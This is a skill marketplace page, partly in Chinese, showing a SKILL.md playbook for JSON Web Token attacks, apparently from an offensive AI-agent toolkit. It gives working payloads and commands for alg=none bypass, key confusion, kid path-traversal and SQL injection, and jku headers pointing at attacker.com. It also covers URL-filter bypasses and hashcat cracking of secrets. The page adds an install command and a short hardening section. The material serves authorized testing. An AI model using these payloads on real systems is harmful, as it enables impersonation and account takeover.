菜单
JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/PurpleAILAB/Decepticon --skill jwt命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
7-question gate run before promoting a finding to FINDING + opening a report. Kills weak/non-impactful findings before they reach the report stage and damage validity ratio.
Stage 3 triage and verification playbook. Crafts minimal PoCs, runs them with ZFP controls, promotes validated bugs to FINDING nodes with CVSS. Load at verifier-agent startup.
Mandatory first-turn startup procedure — checks for existing engagements, resume/new selection, workspace initialization.
基于 SOC 职业分类
| name | jwt |
| description | JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping. |
| metadata | {"when_to_use":"jwt json web token bearer signature alg=none kid jwks","mitre_attack":"T1606.001","subdomain":"authentication","upstream_ref":"skills/_corpus/payloads/JSON Web Token/"} |
JWTs are signed (HS256/RS256/ES256) or sometimes mis-configured to
accept none. The header carries the alg + optionally kid/jku/x5u
references. Each is a potential exploitation surface.
header.payload.signature — each base64url. Decode w/ jwt_tool or
jwt-cracker:
jwt_tool eyJhbGc... # decode + verify + tamper modes
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null
alg=none bypassSet {"alg":"none"} in header, strip signature, send header.payload.:
jwt_tool -X a
Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears in legacy systems.
Server uses RS256 (asymmetric) and verifies w/ public key. Attacker
switches alg to HS256 and signs w/ the public key (which the server
will use as the HMAC secret):
# Get the public key
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Or pull from a redirect / unauth /pubkey endpoint
jwt_tool $JWT -X k -pk public.pem # alg confusion attack
kid header injectionkid (key ID) sometimes resolves to a file path or DB key:
{"alg":"HS256","kid":"../../../dev/null"} // sign with empty content
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"} // SQLi in kid lookup
jwt_tool -X i -I -hc kid -hv path chains kid injection variants.
jku / x5u URL injectionjku (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,
attacker hosts their own:
{"alg":"RS256","jku":"https://attacker.com/jwks.json"}
Then https://attacker.com/jwks.json returns attacker's public key,
signed JWT is "valid".
Bypass URL filters via:
https://target.com.attacker.com/jwks.json)https://attacker.com@target.com/jwks.json)HS256 with weak secret crackable offline:
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt
Hashcat mode 16500 = JWT. Service-account secrets often dev/secret/
changeme/company-name patterns.
Some libraries verify only IF a signature is present. Strip it:
header.payload. ← trailing dot, no sig
jwk headerjwk in header (vs jku pointer) — attacker embeds their own pub key:
{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_pub>","e":"AQAB"}}
Old node-jsonwebtoken accepted this.
JWT presence signals:
Authorization: Bearer eyJ... headersaccess_token=eyJ... / id_token=eyJ... URL params or cookies.well-known/jwks.json endpoint exposed.well-known/openid-configuration discovery docjwt_tool <JWT> -M at -t <target_url> — runs all tests (alg=none, alg confusion, signature strip, weak HMAC dictionary)| Bug | Typical severity |
|---|---|
alg=none accepted on user → admin claim swap | Critical 9.8 |
| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |
jku to attacker URL accepted | Critical 9.8 |
| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |
kid SQLi → DB enumeration | High 8.0 |
| Signature stripping accepted | Critical 9.8 |
// Node: jsonwebtoken
jwt.verify(token, publicKey, {
algorithms: ['RS256'], // EXPLICIT — never accept "none" or HS256 here
audience: 'api://my-service',
issuer: 'https://auth.mycorp.com',
});
// Python: PyJWT 2.0+
jwt.decode(token, public_key, algorithms=['RS256']) // explicit algorithm
// Validate kid / jku come from a known-good fixed set, NEVER user-controlled lookup
skills/_corpus/payloads/JSON Web Token/